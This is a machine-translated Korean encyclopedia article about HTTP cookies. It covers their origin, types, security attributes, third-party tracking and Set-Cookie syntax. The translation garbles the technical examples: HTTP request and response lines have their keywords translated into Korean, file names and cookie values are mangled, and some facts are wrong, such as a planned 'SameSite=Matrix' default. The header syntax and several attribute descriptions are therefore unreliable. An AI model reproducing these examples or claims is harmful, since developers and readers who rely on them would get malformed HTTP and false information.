Page semi-protected
Listen to this article

HTTP 쿠키

HTTP cookie
HTTP
HTTP logo.svg
요구 방식
헤더 필드
응답 상태 코드
보안 접근 제어 방법
보안 취약성

HTTP 쿠키(웹 쿠키, 인터넷 쿠키, 브라우저 쿠키 또는 단순 쿠키라고도 함)는 사용자가 웹 사이트를 탐색하는 동안 웹 서버에 의해 생성되어 사용자의 컴퓨터 또는 기타 장치에 사용자의 웹 브라우저에 의해 저장되는 작은 데이터 블록입니다.쿠키는 웹 사이트에 액세스하는 데 사용되는 장치에 배치되며, 세션 중에 사용자의 장치에 둘 이상의 쿠키를 배치할 수 있습니다.

쿠키는 웹에서 유용하고 때로는 필수적인 기능을 제공합니다.웹 서버가 사용자의 장치에 상태 저장 정보(온라인 상점의 쇼핑 카트에 추가된 항목 등)를 저장하거나 사용자의 브라우징 활동(특정 버튼 클릭, 로그인 또는 과거에 방문한 페이지 기록 포함)[1]을 추적할 수 있습니다.또한 이름, 주소, 비밀번호, 결제 카드 번호 등 사용자가 이전에 양식 필드에 입력한 정보를 나중에 사용하기 위해 저장할 수도 있습니다.

인증쿠키는 일반적으로 웹 서버에서 사용자가 로그인하고 있는 것과 사용자가 로그인하고 있는 계정을 인증하기 위해 사용됩니다.cookie가 없으면 사용자는 접근하고 싶은 중요한 정보가 포함된 각 페이지에 로그인하여 자신을 인증해야 합니다.인증 쿠키의 보안은 일반적으로 발급 웹 사이트와 사용자의 웹 브라우저의 보안 및 쿠키 데이터의 암호화 여부에 따라 달라집니다.보안 취약성으로 인해 공격자가 쿠키의 데이터를 읽거나 사용자 데이터에 액세스하기 위해 사용하거나 쿠키가 속한 웹 사이트에 대한 액세스(예에 대한 [2]사이트 간 스크립팅 및 사이트 간 요청 위조 참조)를 얻기 위해 사용할 수 있습니다.

추적 쿠키(특히 서드파티 추적 쿠키)는 개인의 열람 이력에 대한 장기 기록을 편집하는 방법으로 일반적으로 사용됩니다.[4][5]이러한 문제는 2011년 유럽과 미국 국회의원들이 조치를 취하도록 유도한[3] 잠재적인 사생활 문제입니다.유럽 법은 유럽연합 회원국을 대상으로 하는 모든 웹 사이트가 사용자 장치에 필수적이지 않은 쿠키를 저장하기 전에 사용자로부터 "정보 제공 동의"를 받아야 합니다.

배경

HTTP 쿠키는 인기 있는 구운 과자와 이름을 공유합니다.

이름의 유래

"쿠키"라는 용어는 웹 브라우저 프로그래머인 Lou Montulli에 의해 만들어졌다.이것은 "매직 쿠키"라는 용어에서 유래했습니다.매직 쿠키는 Unix 프로그래머에 [6][7]의해 프로그램이 변경 없이 수신하고 돌려보내는 데이터 패킷입니다.매직쿠키라는 용어 자체는 [8]메시지가 내장된 쿠키인 포춘쿠키에서 유래했다.

역사

컴퓨터 프로그래머 Lou Montulli가 1994년 [9]6월 웹 통신에 사용하는 아이디어를 냈을 때 마법 쿠키는 이미 컴퓨팅에 사용되었다.당시 그는 MCI용 전자상거래 애플리케이션을 개발하고 있던 Netscape Communications의 직원이었습니다.Netscape Communications와의 기술 토론에서 Vint Cerf와 John Klensin은 MCI를 대표했습니다.MCI는 서버가 부분적인 트랜잭션 상태를 유지하는 것을 원하지 않았고, 이는 서버가 Netscape에 대신 각 사용자의 컴퓨터에 상태를 저장하는 방법을 찾도록 요구하게 만들었다.쿠키를 통해 가상 쇼핑 [10][11]카트를 안정적으로 구현해야 하는 문제에 대한 해결책이 제공되었습니다.

Montulli는 John Giannandrea와 함께 같은 해에 첫 Netscape 쿠키 사양을 작성했습니다.1994년 [12][13]10월 13일에 출시된 Mosaic Netscape 버전 0.9beta는 쿠키를 [14]지원했습니다.(실험실 밖에서) 쿠키를 처음 사용한 것은 Netscape 웹사이트 방문자들이 이미 사이트를 방문했는지를 확인하는 것이었다.몬툴리는 1995년에 쿠키 기술에 대한 특허를 출원했고,[15] 1998년에 이 특허가 부여되었다.쿠키 지원은 1995년 [16]10월에 출시된 버전 2에서 Internet Explorer에 통합되었습니다.

쿠키의 소개는 그 당시에는 대중에게 널리 알려지지 않았다.특히 쿠키는 기본적으로 받아들여졌고 사용자에게 자신의 존재를 알리지 않았습니다.대중은 [17]1996년 2월 12일 파이낸셜 타임즈가 쿠키에 대한 기사를 게재한 후 쿠키에 대해 알게 되었다.같은 해에 쿠키는 특히 잠재적인 사생활 침해로 인해 언론의 많은 관심을 받았습니다.쿠키는 1996년과 [2]1997년 미국 연방거래위원회 청문회에서 논의됐다.

정식 쿠키 사양의 개발은 이미 진행 중입니다.특히 정식 사양에 대한 첫 번째 논의는 1995년 4월 www-talk 메일링 리스트에서 시작되었다.Internet Engineering Task Force(IETF; 인터넷 기술 특별 조사위원회) 내에 특별한 작업 그룹이 구성되었습니다.HTTP 트랜잭션에서 상태를 도입하기 위한 두 가지 대안 제안이 각각 Brian Behlendorf와 David Kristol에 의해 제안되었습니다.그러나 Kristol 본인과 Lou Montulli가 이끄는 이 그룹은 곧 넷스케이프 사양을 출발점으로 사용하기로 결정했다.1996년 2월, 작업 그룹은 서드파티제의 쿠키가 프라이버시상의 중대한 위협이라고 특정했습니다.이 그룹이 작성한 사양은 결국 1997년 2월에 RFC 2109로 발표되었습니다.서드파티제의 쿠키가 전혀 허가되지 않았거나 적어도 [18]디폴트로 유효하게 되어 있지 않은 것을 지정합니다.

당시 광고회사들은 이미 서드파티 쿠키를 사용하고 있었다.RFC 2109의 서드파티 쿠키에 대한 권장사항은 Netscape 및 Internet Explorer에 의해 지켜지지 않았습니다.RFC 2109는 2000년 10월에 RFC 2965로 대체되었습니다.

RFC 2965는Set-Cookie2 header 필드.이 필드는 원래와는 달리 비공식적으로 "RFC 2965-style cookie"라고 불리게 되었습니다.Set-Cookie"Netscape-style cookie"[19][20]라는 헤더 필드입니다. Set-Cookie2단, 는 거의 사용되지 않았으며 2011년 4월 RFC 6265에서 권장되지 않았습니다.RFC 6265는 실제 사용되는 [21]쿠키의 최종 사양으로 기술되어 있습니다.최신 브라우저는 다음을 인식하지 않습니다.Set-Cookie2헤더 [22]필드

용어.

세션 쿠키

세션 쿠키(메모리 내 쿠키, 과도 쿠키 또는 비영구 쿠키라고도 함)는 사용자가 [23]웹 사이트를 탐색하는 동안 임시 메모리에만 존재합니다.세션 쿠키는 사용자가 웹 브라우저를 [24]닫으면 만료되거나 삭제됩니다.세션 쿠키는 할당된 만료 날짜가 없는 브라우저에 의해 식별됩니다.

영구 쿠키

영속적 쿠키는 특정 날짜 또는 특정 시간 후에 만료됩니다.작성자가 설정한 영구 쿠키의 수명은 사용자가 소속된 웹사이트를 방문할 때마다 또는 사용자가 다른 웹사이트(광고 등)에서 해당 웹사이트에 속한 자원을 볼 때마다 서버로 정보가 전송됩니다.

이러한 이유로 영구 쿠키는 광고주가 사용자의 웹 브라우징 습관에 대한 정보를 장기간 기록하는 데 사용할 수 있기 때문에 추적 쿠키라고도 합니다.다만, 이러한 정보는, 「합법적인」의 이유(예를 들면, 방문 때마다 로그인 자격 정보를 재입력하는 것을 피하기 위해서 유저의 Web 사이트의 어카운트 로그인을 계속하는 등)에도 사용됩니다.

시큐어 쿠키

시큐어 쿠키는, 암호화된 접속(HTTPS 등)을 통해서만 송신할 수 있습니다.암호화되지 않은 연결(HTTP 등)을 통해 전송할 수 없습니다.이를 통해 쿠키가 도청으로 쿠키 도난에 노출될 가능성이 낮아집니다.cookie는 cookie를 추가함으로써 보안으로 보호됩니다.Secure쿠키에 플래그를 붙입니다.

HTTP 전용 쿠키

JavaScript와 같은 클라이언트 측 API에서는 http 전용 쿠키에 액세스할 수 없습니다.이 제한에 의해 Cross-Site Scripting(XSS; 사이트 간 스크립팅)에 의한 쿠키 도난의 위협이 배제됩니다.단, cookie는 Cross-Site Tracing(XST; 크로스 사이트 트레이스) 및 Cross-Site Request Frazing(CSRF; 크로스 사이트 요청 위조) 공격에 취약한 상태로 유지됩니다.cookie는 다음과 같은 특성을 부여합니다.HttpOnly쿠키에 플래그를 붙입니다.

동일 사이트 쿠키

2016년 구글 크롬 버전 51은[25] 속성을 가진 새로운 종류의 쿠키를 선보였다.SameSite. 아트리뷰트SameSite가치를 가질 수 있다Strict,Lax또는None.[26] 속성 포함SameSite=Strict브라우저는 원래 도메인과 동일한 대상 도메인으로만 쿠키를 보냅니다.이를 통해 사이트 간 요구 위조(CSRF) 공격이 [27]효과적으로 완화됩니다.와 함께SameSite=Lax브라우저는 원래 도메인과는 다르지만 GET(POST는 안전하지 않음)와 같은 안전한 요청에 대해서만 요청과 함께 쿠키를 대상 도메인으로 전송합니다.또, 서드 파티의 서드파티 쿠키가 아닙니다.기여하다SameSite=None는 서드파티(사이트 간) 쿠키를 허용하지만 대부분의 브라우저에는 SameSite=[28]None cookie에 보안 속성이 필요합니다.

같은 사이트 cookie는 "Cookies: HTTP State Management Mechanism"의 새로운 RFC 초안에 포함되어 RFC 6265를 갱신합니다(승인된 경우).

Chrome, Firefox, Microsoft Edge 모두 동일한 사이트 [29]쿠키를 지원하기 시작했습니다.롤아웃의 핵심은 SameSite 속성이 정의되지 않은 기존 쿠키를 처리하는 것입니다. Chrome은 이러한 기존 쿠키를 SameSite=None처럼 취급하여 모든 웹 사이트/애플리케이션을 이전과 동일하게 실행되도록 합니다.Google은 2020년 [30]2월에 기본 설정을 SameSite=Matrix로 변경하려고 했습니다.이 변경으로 인해 서드파티/크로스사이트 쿠키에 의존하지만 SameSite 속성이 정의되지 않은 애플리케이션/클라이언트가 손상됩니다.웹 개발자와 COVID-19 상황에 대한 광범위한 변화를 고려할 때, Google은 SameSite 쿠키 [31]변경 사항을 일시적으로 철회했다.

서드파티제의 쿠키

일반적으로 쿠키의 도메인 속성은 웹 브라우저의 주소 표시줄에 표시되는 도메인과 일치합니다.이것은 퍼스트 파티 쿠키라고 불립니다.단, 서드파티제의 cookie는 주소창에 표시되어 있는 도메인과는 다른 도메인에 속합니다.이러한 종류의 쿠키는 일반적으로 웹 페이지에 배너 광고와 같은 외부 웹 사이트의 콘텐츠가 표시될 때 표시됩니다.이것에 의해, 유저의 브라우징 이력을 추적할 가능성이 열려, 광고주는 각 유저에게 관련하는 광고를 제공하기 위해서 자주 사용됩니다.

예를 들어, 사용자가 방문한다고 가정합니다.www.example.org이 웹 사이트에는 다음 광고가 포함되어 있습니다.ad.foxytracking.com다운로드 시 애드버타이즈먼트의 도메인에 속하는 쿠키가 설정됩니다(ad.foxytracking.com그 후, 유저는 다른 Web 사이트를 방문합니다.www.foo.com에서의 애드버타이즈먼트도 포함되어 있습니다.ad.foxytracking.com그 도메인에 속하는 cookie를 참조해 주세요.ad.foxytracking.com최종적으로는, 광고의 로드나 Web 사이트의 열람시에, 양쪽의 쿠키가 광고주에게 송신됩니다.광고주는 이 쿠키를 사용하여 HTTP 참조자 헤더필드를 사용하여 이 광고주로부터 광고를 받은 모든 웹 사이트에서 사용자의 브라우징 이력을 작성할 수 있습니다.

2014년 현재 일부 웹 사이트에서 100개 이상의 타사 [32]도메인에 대해 읽을 수 있는 쿠키를 설정하고 있습니다.평균적으로 하나의 웹사이트에서 10개의 쿠키를 설정하고 있으며 최대 쿠키 수(퍼스트 파티 및 서드 파티)는 800개를 [33]넘습니다.

대부분의 최신 웹 브라우저에는 타사 쿠키를 차단할 수 있는 개인 정보 설정이 포함되어 있으며, 2020년 7월 현재 이러한 브라우저에는 Apple [34]Safari, [35]Firefox 및 [36]Brave가 포함되어 있습니다.Safari를 사용하면 내장 사이트에서 Storage Access API를 사용하여 퍼스트 파티 쿠키 설정 권한을 요청할 수 있습니다.2020년 5월, Google Chrome은 개인 브라우징을 위해 Inkognito 모드에서 기본적으로 타사 쿠키를 차단하는 새로운 기능을 도입하여 일반 브라우징 중에 차단이 선택 사항으로 지정되었습니다.같은 업데이트로 퍼스트 파티 [37]쿠키를 차단하는 옵션도 추가되었습니다.Chrome은 [38]2023년부터 서드파티 쿠키를 디폴트로 차단할 예정입니다.

슈퍼쿠키

슈퍼쿠키는 최상위 도메인(예:.com또는 퍼블릭서픽스(예:.co.uk반면 일반 쿠키에는 다음과 같은 특정 도메인 이름의 기원이 있습니다.example.com.

슈퍼쿠키는 잠재적인 보안 문제가 될 수 있으므로 웹 브라우저에 의해 차단되는 경우가 많습니다.브라우저에 의해 차단이 해제되면 악의적인 웹 사이트를 제어하는 공격자는 슈퍼쿠키를 설정하고 악의적인 웹 사이트와 동일한 최상위 도메인 또는 공용 접미사를 공유하는 다른 웹 사이트에 대한 합법적인 사용자 요청을 중단하거나 가장할 수 있습니다.예를 들어, 기원이 다음과 같은 슈퍼쿠키입니다..com는, 다음의 요구에 악의적으로 영향을 줄 가능성이 있습니다.example.comcookie가 발신원이 아니더라도example.com로그인을 위장하거나 사용자 정보를 변경하는 데 사용할 수 있습니다.

공개 접미사[39] 목록을 사용하면 슈퍼쿠키가 초래할 위험을 줄일 수 있습니다.퍼블릭 서픽스 리스트는 도메인 이름 서픽스의 정확한 최신 목록을 제공하는 것을 목적으로 하는 벤더 간 이니셔티브입니다.이전 버전의 브라우저에는 최신 목록이 없을 수 있으므로 특정 도메인의 슈퍼쿠키에 취약합니다.

기타 용도

"슈퍼쿠키"라는 용어는 HTTP 쿠키에 의존하지 않는 기술을 추적하는 데 사용되기도 합니다.2011년 8월, Microsoft 의 Web 사이트에서 이러한 「슈퍼 쿠키」메커니즘이 2개 발견되었습니다.그것은, 재기동된 MUID(머신 고유 식별자) 쿠키와 ETAG [40]쿠키입니다.미디어의 주목을 받고 있기 때문에, Microsoft는 나중에 이 [41]코드를 무효로 했습니다.2021년 블로그 투고에서 Mozilla는 사이트 전체에서 사용자를 추적하는 수단으로 브라우저 [42]캐시를 사용하는 것을 언급하기 위해 "슈퍼쿠키"라는 용어를 사용했습니다.

좀비 쿠키

주요 기사 : 좀비쿠키와 에버쿠키

좀비 쿠키는 웹 서버가 방문자의 컴퓨터나 다른 장치에 있는 방문자의 전용 쿠키 저장 장소 밖의 숨겨진 위치에 배치한 데이터 및 코드이며, 원래 쿠키가 삭제된 후 HTTP 쿠키를 일반 쿠키로 자동으로 재생성합니다.좀비 쿠키는 Flash Local 공유 객체, HTML5 웹 스토리지 및 기타 클라이언트 측 및 서버 측 위치 등 여러 위치에 저장할 수 있으며 쿠키가 없는 경우 [clarification needed]해당 위치에 [43][44]저장된 데이터를 사용하여 쿠키가 다시 생성됩니다[clarification needed].

쿠키 벽

웹 사이트에 쿠키 벽이 나타나 웹 사이트의 쿠키 사용 현황을 사용자에게 알립니다.거부 옵션이 없으며 쿠키를 추적하지 않으면 웹 사이트에 액세스할 수 없습니다.

구조.

cookie는 다음 [45][46][47]컴포넌트로 구성됩니다.

  1. 이름.
  2. 가치
  3. 0개 이상의 속성(이름/값 쌍)입니다.속성은 쿠키의 만료, 도메인 및 플래그(예:Secure그리고.HttpOnly).

사용하다

세션 관리

쿠키는 사용자가 웹 사이트(가상 "장바구니" 또는 "장바구니")[10][11]를 탐색할 때 구매하고 싶은 아이템을 기록하는 방법을 제공하기 위해 처음 도입되었습니다.그러나 오늘날 사용자의 쇼핑 카트의 내용은 일반적으로 클라이언트의 쿠키가 아닌 서버의 데이터베이스에 저장됩니다.어떤 사용자가 어떤 쇼핑 카트에 할당되어 있는지 추적하기 위해 서버는 고유한 세션 ID(일반적으로 긴 문자열의 랜덤한 문자와 숫자)를 포함하는 쿠키를 클라이언트에 보냅니다.쿠키가 클라이언트의 요구 때마다 서버로 전송되기 때문에 사용자가 웹 사이트의 새 페이지를 방문할 때마다 세션 ID가 서버로 전송되므로 서버는 사용자에게 표시할 쇼핑 카트를 알 수 있습니다.

쿠키의 또 다른 일반적인 용도는 웹 사이트에 로그인하는 것입니다.사용자가 웹 사이트의 로그인 페이지를 방문하면 웹 서버는 일반적으로 클라이언트에 고유한 세션 식별자를 포함하는 쿠키를 보냅니다.사용자가 정상적으로 로그인하면 서버는 특정 세션 ID가 인증되었음을 기억하고 해당 서비스에 대한 액세스를 사용자에게 부여합니다.

세션 쿠키에는 고유한 세션 식별자만 포함되므로 웹 사이트에서 각 사용자에 대해 저장할 수 있는 개인 정보의 양은 사실상 무제한이 됩니다.웹 사이트는 쿠키의 크기에 대한 제한에 한정되지 않습니다.세션 쿠키의 정보량이 적고 대역폭이 거의 필요하지 않으므로 세션쿠키는 페이지 로딩 시간을 단축하는 데도 도움이 됩니다.

퍼스낼라이제이션

쿠키는 시간이 지남에 따라 해당 사용자에게 관련 내용을 표시하기 위해 사용자에 대한 정보를 기억하기 위해 사용할 수 있습니다.예를 들어 웹 서버는 웹 사이트에 로그인하기 위해 마지막으로 사용된 사용자 이름이 포함된 쿠키를 전송하여 사용자가 다음 번에 로그인할 때 자동으로 입력되도록 할 수 있습니다.

많은 웹 사이트에서는 사용자의 기본 설정에 따라 쿠키를 개인 설정에 사용합니다.사용자는 웹 양식에 입력한 후 양식을 서버에 제출하여 환경설정을 선택합니다.서버는 쿠키 내의 기본 설정을 인코딩하고 쿠키를 브라우저로 반환합니다.이렇게 사용자가 웹 사이트의 페이지에 액세스할 때마다 서버는 사용자의 환경설정에 따라 페이지를 개인화할 수 있습니다.예를 들어, Google 검색 엔진은 쿠키를 사용하여 사용자가 보기 원하는 페이지당 검색 결과 수를 결정할 수 있도록 했습니다.또한 DuckDuckGo는 쿠키를 사용하여 사용자가 웹 페이지의 색상과 같은 보기 기본 설정을 설정할 수 있도록 합니다.

추적

다음 항목도 참조하십시오.웹 트래킹

추적 쿠키는 사용자의 웹 검색 습관을 추적하는 데 사용됩니다.이는 페이지를 요청하는 컴퓨터의 IP 주소 또는 HTTP 요청 헤더의 참조자 필드를 사용하여 어느 정도 수행할 수도 있지만 쿠키를 사용하면 보다 정밀도가 향상됩니다.이는 다음과 같이 설명할 수 있습니다.

  1. 사용자가 사이트의 페이지를 요청했지만 쿠키가 포함되지 않은 경우 서버는 이것이 사용자가 처음 방문한 페이지라고 가정합니다.따라서 서버는 고유 식별자(일반적으로 랜덤한 문자와 숫자의 문자열)를 생성하여 요청된 페이지와 함께 쿠키로 브라우저에 반환합니다.
  2. 이 시점부터는 사이트에서 새로운 페이지가 요청될 때마다 브라우저에서 서버로 쿠키가 자동으로 전송됩니다.서버는 통상대로 페이지를 송신할 뿐만 아니라 요청된 페이지의 URL, 요청 날짜/시간 및 쿠키를 로그 파일에 저장합니다.

이 로그 파일을 분석하면 사용자가 방문한 페이지, 순서 및 기간을 확인할 수 있습니다.

기업은 쿠키를 추적하여 사용자의 웹 습관을 이용하여 구매 습관에 대한 정보를 수집합니다.월스트리트 저널은 미국의 상위 50개 웹사이트가 평균 64개의 추적 기술을 컴퓨터에 설치했고, 그 결과 총 3,180개의 추적 [48]파일이 생성되었다고 밝혔다.그런 다음 데이터를 수집하여 입찰 회사에 판매할 수 있습니다.

실행

서버가 쿠키를 브라우저로 전송하고 브라우저가 다른 페이지를 요구할 때 쿠키를 반송하는 웹 페이지를 보유하고 있는 웹 브라우저와 웹 서버 간의 가능한 상호 작용입니다.

쿠키는 임의의 데이터 조각으로, 일반적으로 웹 서버에 의해 선택되고 처음 전송되며 웹 브라우저에 의해 클라이언트 컴퓨터에 저장됩니다.그런 다음 브라우저는 모든 요구와 함께 서버를 다시 전송하여 상태(이전 이벤트의 메모리)를 스테이트리스 HTTP 트랜잭션에 도입합니다.쿠키가 없으면 웹 페이지 또는 웹 페이지 구성 요소의 각 검색은 주로 사용자가 웹 사이트에서 만든 다른 모든 페이지 보기와 관련이 없는 격리된 이벤트입니다.쿠키는 보통 웹 서버에 의해 설정되지만 클라이언트는 JavaScript 등의 스크립트 언어를 사용하여 설정할 수도 있습니다(쿠키 이외의 경우).HttpOnly이 경우 스크립팅 언어로 쿠키를 변경할 수 없습니다.)

cookie[49][50] 사양에서는 cookie를 지원하려면 브라우저가 다음 요건을 충족해야 합니다.

  • 최대 4,096바이트의 쿠키를 지원할 수 있습니다.
  • 도메인당(웹 사이트당) 50개 이상의 쿠키를 지원할 수 있습니다.
  • 총 3,000개 이상의 쿠키를 지원할 수 있습니다.

쿠키 설정

쿠키를 설정하려면Set-Cookie header 필드. 웹 서버에서 HTTP 응답으로 전송됩니다.이 헤더 필드는 웹 브라우저에 cookie를 저장하고 나중에 서버에 요청 시 다시 보내도록 지시합니다(cookie를 지원하지 않거나 cookie가 비활성화되어 있는 경우 브라우저는 이 헤더필드를 무시합니다).

예를 들어 브라우저는 첫 번째 HTTP 요구를 송신합니다.www.example.org웹사이트:

얻다 /index.interface HTTP/1.1 주인: www.example.org ...

서버는 2개의 응답으로 응답합니다.Set-Cookie헤더 필드:

HTTP/1.0 200 네 알겠습니다 콘텐츠 타입: 텍스트/메시지 세트쿠키: 테마=조명 세트쿠키: sessionToken=session123; 만료됨= 2021년 6월 9일(수) 10:18:14 GMT ...

서버의 HTTP 응답에는 웹 사이트의 홈페이지 내용이 포함됩니다.그러나 브라우저에 두 개의 쿠키를 설정하도록 지시하기도 합니다.첫 번째 "테마"는 세션 쿠키로 간주됩니다. 왜냐하면 이 쿠키에는Expires또는Max-Age기여하다.세션 쿠키는 브라우저가 닫힐 때 브라우저에 의해 삭제되도록 되어 있습니다.두 번째 세션은Token"은 Persistent Cookie로 간주됩니다.이것은, 이 Cookie에는, 다음의 정보가 포함되어 있기 때문입니다.Expiresattribute: 특정 날짜 및 시간에 쿠키를 삭제하도록 브라우저에 지시합니다.

그런 다음 브라우저는 다른 요청을 전송하여spec.html페이지를 참조해 주세요.이 요청에는 다음이 포함됩니다.Cookie[header ]필드에는 서버가 브라우저에 설정하도록 지시한2개의 쿠키가 포함되어 있습니다.

얻다 /spec.syslog HTTP/1.1 주인: www.example.org 쿠키: 테마=조명;세션토큰=123 …

이렇게 하면 서버는 이 HTTP 요구가 이전 HTTP 요구와 관련되어 있음을 인식합니다.서버는 요청된 페이지를 전송하여 응답합니다.여기에는 추가 정보가 포함될 수 있습니다.Set-Cookie[ header ]필드를 사용하여 브라우저에 새 쿠키 추가, 기존 쿠키 변경 또는 기존 쿠키 삭제를 지시합니다.쿠키를 삭제하려면 서버에 다음 명령어가 포함되어 있어야 합니다.Set-Cookie유효기간이 지난 헤더필드를 지정합니다.

쿠키의 값은 인쇄 가능한 ASCII 문자로 구성될 수 있습니다.!통해.~, 유니코드 \u0021통해.\u007E제외),그리고.;및 공백 문자입니다.쿠키 이름에는 동일한 문자가 제외되어 있습니다.=이는 이름과 값 사이의 구분자이기 때문입니다.cookie 표준 RFC 2965는 더 제한적이지만 브라우저에서는 구현되지 않습니다.

"쿠키 크럼"이라는 용어는 쿠키의 이름-값 [51]쌍을 지칭하는 데 사용되기도 합니다.

쿠키는 브라우저 내에서 실행되는 JavaScript 등의 스크립트 언어에서도 설정할 수 있습니다.JavaScript에서 오브젝트는document.cookie이 목적으로 사용됩니다.예를 들어, 명령어는document.cookie = "temperature=20"는, 이름 「temperature」와 값 「20」[52]의 쿠키를 작성합니다.

쿠키 속성

쿠키에는 이름 및 값 외에 하나 이상의 속성을 가질 수도 있습니다.브라우저는 서버에 대한 요청에 쿠키 속성을 포함하지 않고 쿠키 이름과 값만 보냅니다.cookie 속성은 브라우저에서 쿠키를 삭제하거나 쿠키를 차단하거나 서버에 쿠키를 보낼지 여부를 결정하기 위해 사용됩니다.

도메인 및 경로

그Domain그리고.PathAttribute는 cookie의 범위를 정의합니다.기본적으로 쿠키가 속한 웹 사이트를 브라우저에 알려줍니다.보안상의 이유로 쿠키는 현재 리소스의 최상위 도메인과 하위 도메인에만 설정할 수 있으며 다른 도메인과 하위 도메인에는 설정할 수 없습니다.예를 들어 웹 사이트example.org도메인을 가진 쿠키를 설정할 수 없습니다.foo.com왜냐하면 이렇게 하면 웹사이트가example.org도메인의 쿠키를 제어하다foo.com.

만약 쿠키가Domain그리고.Path속성은 서버에 의해 지정되지 않습니다.[53]기본값은 요청된 리소스의 도메인과 경로입니다.단, 대부분의 브라우저에서는 쿠키 세트와foo.com도메인 및 cookie 세트 없이foo.com도메인.전자의 경우 cookie는 다음 요청에만 전송됩니다.foo.com호스트 전용 쿠키라고도 합니다.후자의 경우 모든 서브도메인도 포함됩니다(예를 들어,docs.foo.com이 일반적인 규칙에서 주목할 만한 예외는 Windows 10 RS3 이전의 Edge와 IE 11 이전의 Internet Explorer 및 Windows 10 RS4(2018년 4월)입니다.[54][55]이러한 예외는 cookie가 도메인 [56]유무에 관계없이 항상 서브도메인에 쿠키를 전송합니다.

이하에 몇 가지 예를 제시하겠습니다.Set-Cookie사용자가 로그인한 후 웹 사이트의 HTTP 응답에 있는 헤더 필드.HTTP 요청이 다음 웹 페이지로 전송되었습니다.docs.foo.com서브 도메인:

HTTP/1.0 200 네 알겠습니다 세트쿠키: LSID=DQAAAK...Eaem_vYg; 경로=/계정; 만료됨= 2021년 1월 13일(수) 22:23:01 GMT;시큐어;HttpOnly 세트쿠키: HSID=AYQEVn…DKrdst;도메인=.foo.com; 경로=/; 만료됨= 2021년 1월 13일(수) 22:23:01 GMT;Http Only 세트쿠키: SSID=AP4P...GTEq; 도메인=foo.com; 경로=/; 만료됨= 2021년 1월 13일(수) 22:23:01 GMT;시큐어;HttpOnly …

첫 번째 쿠키,LSID에는 없습니다.DomainAtribute, 및Path속성 설정/accounts이것은 브라우저에 cookie를 사용하도록 지시합니다.이것에 의해, 다음의 URL 에 포함되는 페이지를 요구할 때만,docs.foo.com/accounts(도메인은 요구 도메인에서 파생됩니다).나머지 쿠키 두 개는HSID그리고.SSID는 브라우저가 서브도메인을 요구할 때 사용됩니다..foo.com(예를 들어) 임의의 경로로www.foo.com/bar)의 선두에 있는 점은 최신 표준에서는 옵션이지만 RFC 2109 기반의 실장과의 [57]호환성을 위해 추가할 수 있습니다.

유효기간 및 최대 경과시간

그Expiresattribute는 브라우저가 쿠키를 삭제하는 특정 날짜와 시간을 정의합니다.날짜 및 시간은 양식에 지정됩니다.Wdy, DD Mon YYYY HH:MM:SS GMT또는 폼으로Wdy, DD Mon YY HH:MM:SS GMTYY 값이 0보다 크거나 같고 [58]69보다 작거나 같은 경우.

또는Max-Age속성을 사용하여 브라우저가 쿠키를 수신한 시간에 비례하여 향후 쿠키의 유효기간을 초 단위로 설정할 수 있습니다.다음 예시는 3가지입니다.Set-Cookie사용자가 로그인한 후 웹 사이트에서 받은 헤더 필드:

HTTP/1.0 200 네 알겠습니다 세트쿠키: lu=Rg3vHJZnehYLjVg7qi3bZzg; 유효기간= 2013년 1월 15일 (화) 21:47:38 GMT; 경로=/; 도메인=.example.com; HttpOnly 세트쿠키: made_write_filename=1295214458; 경로=/; 도메인=.example.com 세트쿠키: reg_fb_gate=syslog; 만료됨=1970년 1월 01일 00:00:01 GMT; 경로=/; 도메인=.example.com; HttpOnly

첫 번째 쿠키,lu는 2013년 1월 15일에 만료될 예정입니다.그때까지 클라이언트브라우저에서 사용됩니다.두 번째 쿠키.made_write_conn에는 유효기간이 없기 때문에 세션쿠키가 됩니다사용자가 브라우저를 닫은 후 삭제됩니다.세 번째 쿠키reg_fb_gate의 값은 과거 유효기간과 함께 "expired"로 변경되었습니다.만료 시간이 지났으므로 브라우저는 이 쿠키를 즉시 삭제합니다.cookie는 의 도메인 및 경로 속성이Set-Cookie필드는 쿠키 작성 시 사용된 값과 일치합니다.

2016년 현재 Internet Explorer는 지원되지 않습니다.Max-Age를 클릭합니다.[59][60]

시큐어 및 Http Only

그Secure그리고.HttpOnly속성에 관련된 값이 없습니다.Atribute 이름만 있는 것은, 그 동작을 netable로 할 필요가 있는 것을 나타냅니다.

그Secureattribute는 cookie 통신을 암호화된 전송으로 제한하여 브라우저가 안전한/암호화된 연결을 통해서만 cookie를 사용하도록 지시하는 것을 의미합니다.다만, Web 서버가 시큐어하지 않은 접속으로부터 시큐어 어트리뷰트를 가지는 cookie 를 설정했을 경우, man-in-the-middle 공격에 의해서 유저에게 송신되었을 때에, cookie 는 대행 수신할 수 있습니다.따라서 보안을 최대화하기 위해 Secure Atribute를 가진 cookie는 안전한 연결 상에서만 설정해야 합니다.

그HttpOnlyattribute는 HTTP(및 HTTPS) 요구 이외의 채널을 통해 쿠키를 노출하지 않도록 브라우저에 지시합니다.즉, 클라이언트 측 스크립트 언어(특히 JavaScript)를 통해 쿠키에 액세스할 수 없으므로 사이트 간 스크립팅(범용성 있는 공격 기술)[61]을 통해 쉽게 도용될 수 없습니다.

브라우저 설정

대부분의 최신 브라우저는 쿠키를 지원하며 사용자가 쿠키를 비활성화할 수 있습니다.다음은 일반적인 [62]옵션입니다.

  • 쿠키가 항상 허용되거나 항상 차단되도록 쿠키를 완전히 활성화 또는 비활성화합니다.
  • 쿠키 관리자를 사용하여 쿠키를 보고 선택적으로 삭제합니다.
  • 쿠키를 포함한 모든 개인 데이터를 완전히 삭제합니다.

쿠키 권한을 관리하기 위한 추가 도구도 있습니다.[63][64][65][66]

프라이버시 및 서드파티 쿠키

다음 항목도 참조하십시오.추적 금지 및 웹 분석 » 쿠키 관련 문제

